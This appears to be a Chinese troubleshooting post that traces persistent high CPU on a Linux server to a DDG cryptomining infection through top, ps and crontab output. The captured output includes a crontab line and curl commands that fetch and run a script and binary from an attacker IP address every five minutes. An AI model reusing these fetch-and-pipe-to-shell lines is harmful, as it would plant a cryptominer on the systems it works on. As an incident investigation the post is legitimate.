Linux CPU 长期90%以上问题排查

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[root@ecs-37e8 ~]# top
top - 13:44:56 up 17:02,  2 users,  load average: 17.02, 17.02, 17.05Tasks: 339 total,   1 running, 338 sleeping,   0 stopped,   0 zombieCpu(s): 93.7%us,  0.0%sy,  0.0%ni,  6.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stMem:  65948524k total, 11533048k used, 54415476k free,   399280k buffersSwap: 46137336k total,        0k used, 46137336k free,  6354296k cached
   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                     2489 root      20   0 1272m  39m 1256 S 1498.8  0.1  15251:01 wnTKYg                                                                                                   22511 root      20   0 15164 1440  936 R  0.7  0.0   0:01.17 top                                                                                                            1 root      20   0 19364 1444 1128 S  0.0  0.0   0:01.08 init                                                                                                           2 root      20   0     0    0    0 S  0.0  0.0   0:00.01 kthreadd                                                                                                       3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 migration/0                                                                                                    4 root      20   0     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0                                                                                                    5 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 stopper/0                                                                                                      6 root      RT   0     0    0    0 S  0.0  0.0   0:00.05 watchdog/0

[root@ecs-37e8 yundata]# top -H -p 2489top - 13:44:03 up 17:01,  2 users,  load average: 17.05, 17.03, 17.05Tasks:  18 total,  15 running,   3 sleeping,   0 stopped,   0 zombieCpu(s): 93.8%us,  0.0%sy,  0.0%ni,  6.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%stMem:  65948524k total, 11532768k used, 54415756k free,   399248k buffersSwap: 46137336k total,        0k used, 46137336k free,  6354296k cached   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                     2493 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                     2497 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                     2501 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                     2504 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                     2505 root       6 -14 1272m  39m 1256 R 100.2  0.1   1015:49 wnTKYg                                                                                                     2492 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2494 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2495 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2496 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2498 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2499 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2500 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2502 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2503 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2506 root       6 -14 1272m  39m 1256 R 99.9  0.1   1015:49 wnTKYg                                                                                                      2489 root      20   0 1272m  39m 1256 S  0.0  0.1   0:00.00 wnTKYg                                                                                                      2490 root      20   0 1272m  39m 1256 S  0.0  0.1   0:18.88 wnTKYg                                                                                                      2491 root      20   0 1272m  39m 1256 S  0.0  0.1   0:00.11 wnTKYg

[root@ecs-37e8 ~]# ps -ef | grep ddgroot       2404      1  0 Oct01 ?        00:01:00 /tmp/ddg.2011root      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011root      22982  22810  0 14:00 pts/3    00:00:00 grep ddg[root@ecs-37e8 ~]# ps -ef | grep ddgroot       2404      1  0 Oct01 ?        00:01:00 /tmp/ddg.2011root      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011root      23018  22810  0 14:01 pts/3    00:00:00 grep ddgYou have new mail in /var/spool/mail/root[root@ecs-37e8 ~]# ps -ef | grep 22969root      22969  22967  0 14:00 ?        00:00:00 shroot      22980  22969  0 14:00 ?        00:00:00 curl -fsSL http://218.248.40.228:8443/2011/ddg.x86_64 -o /tmp/ddg.2011root      23023  22810  0 14:01 pts/3    00:00:00 grep 22969[root@ecs-37e8 ~]# ps -ef | grep 22967root      22967  22966  0 14:00 ?        00:00:00 /bin/sh -c curl -fsSL http://218.248.40.228:8443/i.sh?6 | shroot      22969  22967  0 14:00 ?        00:00:00 shroot      23025  22810  0 14:02 pts/3    00:00:00 grep 22967[root@ecs-37e8 ~]# ps -ef | grep 22966root      22966   2220  0 14:00 ?        00:00:00 CRONDroot      22967  22966  0 14:00 ?        00:00:00 /bin/sh -c curl -fsSL http://218.248.40.228:8443/i.sh?6 | shroot      23027  22810  0 14:02 pts/3    00:00:00 grep 22966

[root@ecs-37e8 ~]# crontab -l*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh[root@ecs-37e8 ~]#

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